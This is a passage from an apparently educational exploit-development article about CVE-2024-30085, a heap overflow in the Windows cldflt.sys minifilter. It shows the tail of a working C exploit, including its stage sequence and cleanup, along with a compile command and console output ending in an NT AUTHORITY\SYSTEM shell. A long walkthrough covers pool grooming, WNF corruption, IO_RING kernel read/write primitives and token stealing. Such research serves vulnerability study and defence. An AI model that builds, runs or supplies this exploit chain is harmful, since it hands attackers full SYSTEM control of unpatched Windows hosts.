                    : " (zeroing failed -- fake entry kept alive)");
                continue;
            }
            if (g_ioring_handles[i]) {
                CloseIoRing(g_ioring_handles[i]);
                g_ioring_handles[i] = NULL;
            }
        }
    }

    if (g_input_pipe_server && g_input_pipe_server != INVALID_HANDLE_VALUE) {
        CloseHandle(g_input_pipe_server);
        g_input_pipe_server = NULL;
    }
    if (g_input_pipe_client && g_input_pipe_client != INVALID_HANDLE_VALUE) {
        CloseHandle(g_input_pipe_client);
        g_input_pipe_client = NULL;
    }
    if (g_output_pipe_server && g_output_pipe_server != INVALID_HANDLE_VALUE) {
```

```
        CloseHandle(g_output_pipe_server);
        g_output_pipe_server = NULL;
    }
    if (g_output_pipe_client && g_output_pipe_client != INVALID_HANDLE_VALUE) {
        CloseHandle(g_output_pipe_client);
        g_output_pipe_client = NULL;
    }

    if (g_fake_buffer_entry && ioringFixed) {
        VirtualFree(g_fake_buffer_entry, 0, MEM_RELEASE);
        g_fake_buffer_entry = NULL;
    }
    if (g_shared_user_buffer) {
        VirtualFree(g_shared_user_buffer, 0, MEM_RELEASE);
        g_shared_user_buffer = NULL;
    }

    if (g_wnf_pad_names) {
        for (DWORD i = 0; i < WNF_PAD_SPRAY_COUNT; i++)
            g_NtDeleteWnfStateName(&g_wnf_pad_names[i]);
    }
    if (g_wnf_names && g_wnf_active) {
        for (DWORD i = 0; i < WNF_SPRAY_COUNT; i++)
            if (g_wnf_active[i]) g_NtDeleteWnfStateName(&g_wnf_names[i]);
    }
    SetFileAttributesW(g_filePath, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath);

    if (g_syncRootPath[0]) CfUnregisterSyncRoot(g_syncRootPath);

    printf("[+] Cleanup complete\n");
}

//==========================================================================
// MAIN
//==========================================================================

int wmain(void) {

printf("==========================================================================\n
");
    printf("  CVE-2024-30085 Exploit | IO_RING Edition 03\n");
    printf("  Privilege Escalation via cldflt.sys Heap-based Buffer Overflow\n");
    printf("  Pure IO_RING: WNF OOB -> RegBuffers corruption -> IO_RING Read+Write\n");

printf("==========================================================================\n
");

    if (!InitializeNtdllFunctions() || !InitializeSyncRoot()) {
        printf("[-] Initialization failed\n");
        return -1;
    }

    BOOL success = TRUE;

    if (success) success = Stage01_Defragmentation();
```

```
    if (success) success = Stage02_CreateWnfNames();
    if (success) success = Stage04_UpdateWnfPaddingData();
    if (success) success = Stage05_UpdateWnfStateData();
    if (success) success = Stage06_CreateHoles();
    if (success) success = Stage07_PlaceOverflow();
    if (success) success = Stage08_TriggerOverflow();

    if (success) success = Stage03_IoRingSpray();

    if (success) success = Stage09_LeakAndCorruptRegBuffers();

    if (g_leaked_regbuf_entry == 0) {
        printf("\n[-] OVERFLOW FAILED -- no RegBuffers[0] leaked. Try again.\n");
        getchar();
        Cleanup();
        return -1;
    }

    printf("\n=== OVERFLOW SUCCESS: Leaked IOP_MC_BUFFER_ENTRY 0x%016llX ===\n",
        (unsigned long long)g_leaked_regbuf_entry);

    if (success) success = Stage10_IoRingPrimitiveSetup();
    if (success) success = Stage11_DiscoverEprocess();
    if (success) success = Stage12_IoRingTokenStealing();
    if (success) success = Stage13_SpawnSystemShell();


printf("\n================================================================================
\n");
    printf("  %s\n", success ? "EXPLOIT SUCCESSFUL!" : "EXPLOIT INCOMPLETE");

printf("================================================================================\n
");

    printf("\n[*] Press ENTER to cleanup and exit...\n");
    getchar();
    Cleanup();

    return success ? 0 : -1;
}
```

This code can be compiled using Visual Studio 2022/2026 or Visual Studio Code, which demands a compilation like as follows:

- `cl.exe /nologo /W4 /O2 /D WIN32 /D _UNICODE /D UNICODE exploit_ioring_edition_03.c /link /OUT:exploit_ioring_edition_03.exe Cldapi.lib ntdll.lib onecore.lib advapi32.lib shell32.lib ole32.lib`

The output of the exploit is as follows:

```
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
```

```
PS C:\Users\aborges>cd C:\Users\aborges\Desktop\RESEARCH
PS C:\Users\aborges\Desktop\RESEARCH>
PS C:\Users\aborges\Desktop\RESEARCH>whoami
desktop-31fh7lh\aborges
PS C:\Users\aborges\Desktop\RESEARCH>
PS C:\Users\aborges\Desktop\RESEARCH>.\exploit_ioring_edition_03.exe
================================================================================
  CVE-2024-30085 Exploit | IO_RING Edition 03
  Privilege Escalation via cldflt.sys Heap-based Buffer Overflow
  Pure IO_RING: WNF OOB -> RegBuffers corruption -> IO_RING Read+Write
================================================================================
[+] All ntdll functions resolved
[+] Sync root registered: C:\Users\aborges\AppData\Roaming\MySyncRoot

========================================
    STAGE 01: DEFRAGMENTATION
========================================
[+] Round 1: 5000/5000 pipes
[+] Round 2: 5000/5000 pipes
[+] Waiting for the memory to stabilize...
[+] Stage 01 COMPLETE

========================================
    STAGE 02: CREATE WNF NAMES
========================================
[+] Created 20480 padding WNF names
[+] Created 2048 actual WNF names
[+] Waiting for the memory to stabilize...
[+] Stage 02 COMPLETE

========================================
    STAGE 04: UPDATE WNF PADDING DATA
========================================
[+] Updated padding WNF data
[+] Waiting for the memory to stabilize...
[+] Stage 04 COMPLETE

========================================
    STAGE 05: UPDATE WNF STATE DATA
========================================
[+] Updated 2048 actual WNF objects
[+] Waiting for the memory to stabilize...
[+] Stage 05 COMPLETE

========================================
    STAGE 06: CREATE HOLES
========================================
[+] Created 1024 holes
[+] Waiting for the memory to stabilize...
[+] Stage 06 COMPLETE

========================================
    STAGE 07: PLACE OVERFLOW BUFFER
========================================
[+] Reparse point set (ChangeStamp=0xC0DE)
[+] Stage 07 COMPLETE

========================================
    STAGE 08: TRIGGER OVERFLOW
========================================
```

```
[+] Overflow triggered (0x1010 bytes into 0x1000 buffer)
[+] Waiting for the memory to stabilize...
[+] Stage 08 COMPLETE

=======================================
    STAGE 03: IO_RING SPRAY
=======================================
[+] Shared user buffer: 0x00000275A8260000 (512 x 0x100 bytes)
[+] Created 256 IO_RINGs with 512 registered buffers each
[+] RegBuffers arrays: 256 x 0x1000 bytes in paged pool
[+] Waiting for the memory to stabilize...
[+] Stage 03 COMPLETE

=======================================
    STAGE 09: LEAK & CORRUPT REGBUFFERS
=======================================
[*] Part A: Scanning for corrupted WNF (ChangeStamp=0xC0DE)...
[+] Found victim WNF at index 1 (DataSize: 0xFF8)
[*] Part B: OOB Read -- leaking RegBuffers[0] (IOP_MC_BUFFER_ENTRY*)...
[*] Read 4088 bytes from corrupted WNF (DataSize=0xFF8)
[+] OOB READ: RegBuffers[0] = 0xFFFFB68B227E6470 (IOP_MC_BUFFER_ENTRY*)
[*] Part C: Allocating fake IOP_MC_BUFFER_ENTRY...
[+] Fake IOP_MC_BUFFER_ENTRY at: 0x00000275A8280000 (Type=0x0C02, Size=0x80)
[*] Part D: OOB Write -- replacing RegBuffers[0] with fake entry pointer...
[*] Writing fake entry pointer 0x00000275A8280000 at WNF offset 0xFF0
[+] RegBuffers[0] corrupted: now points to user-mode fake entry
[+] Original RegBuffers[0] saved: 0xFFFFB68B227E6470 (for cleanup restore)
[+] Stage 09 COMPLETE

=== OVERFLOW SUCCESS: Leaked IOP_MC_BUFFER_ENTRY 0xFFFFB68B227E6470 ===

=======================================
    STAGE 10: IO_RING PRIMITIVE SETUP
=======================================
[*] Step A: Creating named pipes for IO_RING data channels...
[+] Input pipe: server=0x0000000000000540, client=0x0000000000000544
[+] Output pipe: server=0x0000000000008FD0, client=0x0000000000008FD4
[*] Step B: Scanning 256 IO_RINGs to find corrupted one...
[+] CORRUPTED IO_RING found at index 1 (Type=0x0C02, Size=0x80)
[*] Step C: Verifying IO_RING read primitive...
[+] IOP_MC_BUFFER_ENTRY.ReferenceCount = 1 (expected >= 1)
[+] IO_RING read primitive VERIFIED!
[+] Stage 10 COMPLETE -- IO_RING read/write primitives established

=======================================
    STAGE 11: DISCOVER EPROCESS
=======================================
[*] Step A: Getting ntoskrnl base via SystemModuleInformation...
[+] ntoskrnl base: 0xFFFFF80359600000 (ntoskrnl.exe)
[*] Step B: Finding PsInitialSystemProcess RVA...
[+] PsInitialSystemProcess RVA: 0xD1EA20
[+] PsInitialSystemProcess kernel addr: 0xFFFFF8035A31EA20
[*] Step C: Reading PsInitialSystemProcess pointer...
[+] System EPROCESS: 0xFFFFB68B196A5040 (PID=4)
[*] Step D: Reading System token...
[+] System Token: 0xFFFF960F0CA5B760 (raw: 0xFFFF960F0CA5B769)
[*] Step E: Walking EPROCESS ActiveProcessLinks...
[*] Our PID: 12148
[+] Winlogon PID: 5508
[+] Our EPROCESS: 0xFFFFB68B224130C0 (PID=12148)
```

```
[+] Our Token: 0xFFFF960F1DDD8979
[*] Walked 154 processes via ActiveProcessLinks
[+] Stage 11 COMPLETE

======================================
    STAGE 12: TOKEN STEALING VIA IO_RING
======================================
[*] Token stealing: overwrite EPROCESS+0x4B8 with SYSTEM token
[*] Target: 0xFFFFB68B22413578 (our EPROCESS+0x4B8)
[*] Using IO_RING write - EXACTLY 8 bytes (no adjacent field corruption)

[*] Step A: Reading current EPROCESS+0x4B8 via IO_RING read...
[*] Current token: 0xFFFF960F1DDD8977 (stripped: 0xFFFF960F1DDD8970)
[*] Adjacent field (+0x4C0): 0x0000000000000000 (should be UNTOUCHED after write)
[*] Step B: Writing SYSTEM token via IO_RING...
[*] SYSTEM token raw: 0xFFFF960F0CA5B769
[+] IO_RING write completed (8 bytes to EPROCESS+0x4B8)
[*] Step C: Verifying token replacement via IO_RING read...
[*] EPROCESS+0x4B8 AFTER:  0xFFFF960F0CA5B768 (stripped: 0xFFFF960F0CA5B760)
[*] EPROCESS+0x4C0 AFTER:  0x0000000000000000
[+] VERIFIED: Token successfully replaced with SYSTEM token!
[+] Our process now runs with SYSTEM identity
[+] EPROCESS+0x4C0 UNTOUCHED: 0x0000000000000000 == 0x0000000000000000
[+] 8-byte IO_RING write precision CONFIRMED!
[+] Stage 12 COMPLETE -- Token stolen via IO_RING write

======================================
    STAGE 13: SPAWN SYSTEM SHELL
======================================
[*] Token already stolen via IO_RING -- spawning shell directly
[*] No SeDebugPrivilege or parent spoofing needed
[+] Process created, PID: 7856
[+] Shell token SID: S-1-5-18

[+] ==========================================
[+]   CONFIRMED: SYSTEM SHELL SPAWNED!
[+]   PID: 7856 | SID: S-1-5-18
[+] ==========================================
[+] Stage 13 COMPLETE

================================================================================
  EXPLOIT SUCCESSFUL!
================================================================================

[*] Press ENTER to cleanup and exit...


Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Users\aborges\Desktop\RESEARCH>whoami
nt authority\system

C:\Users\aborges\Desktop\RESEARCH>ver

Microsoft Windows [Version 10.0.22631.2428]

C:\Users\aborges\Desktop\RESEARCH>
```

06.04. Additional comments

This version of exploit is organized into 13 stages across three phases, which makes it a clean exploit. The stages are numbered 1 through 13, but the execution order in wmain function differs from the numerical order, and Stage 3 (I/O Ring spray) is executed after Stage 8 (overflow trigger) to maintain pool purity (and integrity) during the overflow. If readers remember about ERS_06 article, the exploit also presented similar issue, and I needed to make some inversions to guarantee memory integrity.

Phase A is composed of stages 01, 02, and 04 to 08, and fundamentally tasks involved are page grooming and overflow via the cldflt vulnerability. One of aspects of this phase, which makes the understanding more feasible, is that it only manage WNF pool, without any I/O Ring object, and ensures that the 16-byte overflow can only reach WNF headers.

In Stage 1, where occurs the defragmentation, the exploit creates and destroys 5000 pipe pairs twice. Each CreatePipe function call allocates kernel pipe structures in the paged pool, and the subsequent close function frees them. This forces the Segment Heap's VS subsegment allocator to consolidate fragmented regions, making subsequent same-size allocations land in contiguous areas.

In Stage 2, the exploit creates 0x5000 padding WNF state names and 0x800 exploit WNF state names via NtCreateWnfStateName function. A permissive security descriptor is created from an empty SDDL string. Each call uses WnfTemporaryStateName lifetime (process-scoped), WnfDataScopeUser scope, and a maximum state size hint of 0x1000. The actual pool allocation is deferred until NtUpdateWnfStateData function to be called.

In Stage 4, the exploit fills each of the 0x5000 padding WNFs with 0xFF0 bytes of data (fill byte 0x51). Each NtUpdateWnfStateData function call triggers a 0x1000-byte pool allocation (0x10 header + 0xFF0 data, pool tag 'Wnf '). This fills the VS subsegment densely with WNF_STATE_DATA structure blocks.

In Stage 5, the exploit fills each of the 0x800 exploit WNFs with 0xFF0 bytes (also fill byte 0x51), tracking success in g_wnf_active[i] element. These allocations interleave with the padding allocations, creating a dense arrangement of 0x1000-byte blocks (similar to any other previous exploit so far).

In Stage 6, the exploit deletes every other exploit WNF (even indices only) by calling NtDeleteWnfStateName function for i in [0, 0x800) step 2 where g_wnf_active[i] is TRUE. Each deletion frees a 0x1000-byte slot, as expected. The remaining odd-indexed WNFs are the potential overflow victims, which will be explored in later stages

In Stage 7, the exploit constructs a malicious reparse point file. In fact, it builds an overflow payload with 0x1000 bytes of fill (0xAB -- my initials), followed by 16 bytes of WNF header corruption data at offset 0x1000, where it is setup multiple fields in an identical way of previous exploit versions. The payload is compressed via RtlCompressBuffer function (LZNT1, format 2), wrapped in a CF_PLACEHOLDER structure (magic 0x8001), and attached to the trigger file via FSCTL_SET_REPARSE_POINT_EX with IO_REPARSE_TAG_CLOUD_6.

In Stage 8, the exploit opens the trigger file via CreateFileW function. The cldflt.sys driver processes the reparse point in HsmIBitmapNORMALOpen function, allocating a 0x1000-byte buffer (tag 'mBsH',

PagedPool) and decompressing the HSM data into it. The decompressed data is 0x1010 bytes, overflowing 16 bytes past the buffer into the adjacent WNF header.

Phase B is where I/O Ring is really introduced, and the exploit obtains I/O Ring primitives. This phase is composed of Stages 3, 9 and 10. After the overflow, the I/O Ring spray fills remaining holes, and the corruption chain establishes the read/write primitive.

In Stage 3 (IoRingSpray, which executed after Stage 8), the exploit allocates a shared 128KB user-mode buffer filled with 0x42, prepares an IORING_BUFFER_INFO array describing 512 buffers of 0x100 bytes each, and creates 256 I/O Rings. Actually, for each ring the sequence CreateIoRing, BuildIoRingRegisterBuffers, SubmitIoRing (executes the registration) and PopIoRingCompletion (confirms) functions all called. Each successful registration creates a kernel RegBuffers array. The arrays fill holes left by Stage 6, interleaving with remaining WNF objects, which is remarkably similar to previous exploits.

In Stage 9, the exploit executes a classic four-part corruption chain composed by finding corrupted WNF, performing OOB reading RegBuffers[0], allocating fake IOP_MC_BUFFER_ENTRY and OOB writing fake pointer to RegBuffers[0].

In Stage 10, the exploit creates the named pipes, scans all 256 I/O Ring to identify the corrupted one via the dual-field signature check (Type=0x0C02, Size=0x80), and verifies the read primitive by reading IOP_MC_BUFFER_ENTRY.ReferenceCount field.

Phase C is responsible for the end part of the exploit, which is discovering, token stealing and finally spawning a shell. The covered stages are 11, 12 and 13.

In Stage 11, the exploit uses the ntoskrnl PsInitialSystemProcess approach to find the System _EPROCESS, read its token, and walk ActiveProcessLinks to find the exploit process.

In Stage 12, the exploit performs the token steal with 8-byte precision. It reads the current token at EPROCESS+0x4B8 (Token) and the adjacent field at EPROCESS+0x4C0 (MmReserved) via IoRingReadKernel64 function. It then writes the SYSTEM token raw value (8 bytes, including _EX_FAST_REF reference count bits) via IoRingWriteKernel function. A brief 100ms pause allows kernel state propagation. Post-write reads verify the token was replaced (post_token & ~0xFULL == g_system_token) and that _EPROCESS+0x4C0 is unchanged (post_adjacent == pre_adjacent), which confirms 8-byte write precision.

In Stage 13, the exploit creates cmd.exe via CreateProcessW function. The child inherits the current process token (now SYSTEM). SID verification via OpenProcessToken, GetTokenInformation(TokenUser), and ConvertSidToStringSidW functions confirms S-1-5-18 (NT AUTHORITY\SYSTEM).

As relevant final note, one of the most significant simplifications in this exploit version is the elimination of HIORING user-mode patching. However, to understand why this is possible requires comparing the registration state across editions. In the previous edition (with ALPC write-primitive), CreateIoRing function was called without registering any buffers. The HIORING structure reflected exactly this because the value of BufferArraySize field was 0. When the ALPC bootstrap corrupted IORING_OBJECT.RegBuffersCount to 1 and RegBuffers to a fake array, the kernel-side and user-side states diverged. The user-mode BuildIoRingReadFile function checked buffer_index >= BufferArraySize, and since 0 >= 0, it returned E_BOUNDS. The exploit had to patch HIORING.BufferArraySize field to 1 and HIORING.RegBufferArray field to the fake array to make the bounds check pass.

In Edition 03, CreateIoRing function is followed by BuildIoRingRegisterBuffers(handle, 0x200, bufInfos, 0) function call which registers 512 buffers per ring. After registration, HIORING.BufferArraySize is 0x200. The user-mode bounds check for buffer index 0 becomes 0 >= 0x200, which is false, so the check passes. The user-mode BufferArray[0] still points to the legitimate user-mode buffer info at g_shared_user_buffer + 0 * 0x100. But the kernel uses RegBuffers[0], which has been corrupted via WNF OOB to point to the fake entry. The validation happened at registration time; the trust persists at use time. No HIORING patching is needed because the user-mode structure was never corrupted — only the kernel-side RegBuffers array contents were modified.

07. References

For readers who may be interested in obtaining details on the topics mentioned here, a brief list of valuable resources follows below:

- **Microsoft Learn:** https://learn.microsoft.com/en-us/windows-hardware/drivers/
- **Windows Internals 7th edition book (Parts 1 and 2)** by Pavel Yosifovich , Alex Ionescu, Mark Russinovich, David Solomon, and Andrea Allievi.
- **I/O Rings - When One I/O Operation is Not Enough (by Yarden Shafir):** https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/
- **One Year to I/O Ring - What Changed (by Yarden Shafir):** https://windows-internals.com/one-year-to-i-o-ring-what-changed/
- **One I/O Ring to Rule Them All (by Yarden Shafir):** https://windows-internals.com/one-i-o-ring-to-rule-them-all/
- **IoRing vs io_uring (by Yarden Shafir):** https://windows-internals.com/ioring-vs-io_uring/
- **IoRingReadWritePrimitive (GitHub) (by Yarden Shafir):** https://github.com/yardenshafir/IoRingReadWritePrimitive
- **Scoop the Windows 10 pool! (by Corentin Bayet and Paul Fariello):** https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf
- **The Next Generation of Windows Exploitation: Attacking the Common Log File System (ShiJie Xu/@ThunderJ17, Jianyang Song/@SecBoxer and Linshuang Li):** https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Xu-The-Next-Generation-of-Windows-Exploitation-Attacking-the-Common-Log-File-System.pdf
- **Playing with the Windows Notification Facility (WNF) (by Gabrielle Viala):** https://blog.quarkslab.com/playing-with-the-windows-notification-facility-wnf.html
- **CVE-2021-31956 Exploiting the Windows Kernel (NTFS with WNF) – Part 1 (by Alex Plaskett):** https://www.nccgroup.com/research-blog/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/
- **Exploiting Reversing (ER) series: article 06 | A Deep Dive Into Exploiting a Minifilter Driver (N-day) (by Alexandre Borges):** https://exploitreversing.com/2026/02/11/exploiting-reversing-er-series-article-06/

- **Exploiting Reversing (ER) series: article 07 | Exploitation Techniques: CVE-2024-30085 (part 01) (by Alexandre Borges):** https://exploitreversing.com/2026/02/11/exploiting-reversing-er-series-article-06/
- **Windows Kernel Heap Part 1: Segment heap in windows kernel (by Angelboy):** https://speakerdeck.com/scwuaptx/windows-kernel-heap-segment-heap-in-windows-kernel-part-1
- **All I Want for Christmas is a CVE-2024-30085 Exploit (by Cherie-Anne Lee):** https://starlabs.sg/blog/2024/all-i-want-for-christmas-is-a-cve-2024-30085-exploit/

08. Conclusion

This article offered an in-depth analysis of the development process of more two different versions of N-day exploits for a real mini-filter driver (cldflt.sys) presented in ERS_06 and also expanded in ERS_07 articles. The exploit_ioring_edition_2.c made use of ALPC and I/O Ring read-write primitive, and exploit_ioring_edition_3.c made use of a pure I/O Ring approach, which reduced the number of stages. Therefore, these distinguished approaches presented a solid advance in the presented techniques, with a better understanding and coverage of I/O Ring concepts.

I sincerely hope you have learned a little more about the real journey of developing exploits for N-day vulnerabilities in depth and that you have understood the techniques presented, the details, the constraints, the execution logic, and the associated Windows concepts.

The following articles will continue the work developed in this series and I will present other detailed exploit development procedures, using different approaches and techniques.

Just in case you want to stay connected:

- **X: @ale_sp_brazil**
- **Bluesky: @alexandreborges.bsky.social**
- **Mastodon:** https://infosec.exchange/@alexandreborges
- **Blog:** https://exploitreversing.com

Keep developing exploits and I see you at next time!

Alexandre Borges.